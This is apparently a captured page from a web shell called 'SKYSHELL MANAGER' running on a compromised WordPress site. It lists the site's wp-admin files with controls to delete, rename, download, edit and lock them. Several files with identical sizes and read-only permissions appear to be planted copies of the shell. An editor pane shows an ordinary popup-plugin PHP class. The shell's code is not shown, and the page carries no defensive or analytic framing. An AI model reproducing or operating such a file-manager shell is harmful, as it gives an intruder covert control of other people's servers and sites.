📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
config.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
data.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: SGHtmlPopup.php
<?php require_once(dirname(__FILE__).'/SGPopup.php'); class SGHtmlPopup extends SGPopup { public $content; public function setContent($content) { $this->content = $content; } public function getContent() { return $this->content; } public static function create($data, $obj = null) { $obj = new self(); $obj->setContent($data['html']); return parent::create($data, $obj); } public function save($data = array()) { $editMode = $this->getId()?true:false; $res = parent::save($data); if ($res===false) return false; $sgHtmlPopup = $this->getContent(); global $wpdb; if ($editMode) { $sgHtmlPopup = stripslashes($sgHtmlPopup); $sql = $wpdb->prepare("UPDATE ". $wpdb->prefix ."sg_html_popup SET content=%s WHERE id=%d",$sgHtmlPopup,$this->getId()); $res = $wpdb->query($sql); } else { $sql = $wpdb->prepare( "INSERT INTO ". $wpdb->prefix ."sg_html_popup (id, content) VALUES (%d,%s)",$this->getId(),$sgHtmlPopup); $res = $wpdb->query($sql); } return $res; } protected function setCustomOptions($id) { global $wpdb; $st = $wpdb->prepare("SELECT * FROM ". $wpdb->prefix ."sg_html_popup WHERE id = %d",$id); $arr = $wpdb->get_row($st,ARRAY_A); $this->setContent($arr['content']); } private function filterContentForAutoPlayIframe($content) { // $match array 0 => content 1 => Iframe url preg_match('/<iframe.*?src="(.*?)".*?<\/iframe>/', $content, $match); if(empty($match[1])) { return $content; } $iframeUrl = $match[1]; $isAutoPlay = stripos($iframeUrl,'autoplay=1'); if(!$isAutoPlay) { return $content; } $popupOptions = $this->getOptions(); $popupOptions = json_decode($popupOptions, true); if(empty($popupOptions)) { return $content; } $popupOptions['htmlIframeUrl'] = $iframeUrl; $popupOptions = json_encode($popupOptions); $this->setOptions($popupOptions); return str_replace($iframeUrl,' ',$content); } protected function getExtraRenderOptions() { $content = trim($this->getContent()); $hasShortcode = $this->hasPopupContentShortcode($content); $popupId = (int)$this->getId(); if($hasShortcode) { $content = $this->improveContent($content); } $content = $this->filterContentForAutoPlayIframe($content); $this->sgAddPopupContentToFooter($content, $popupId); return array('html' => $content); } public function render() { return parent::render(); } }
Save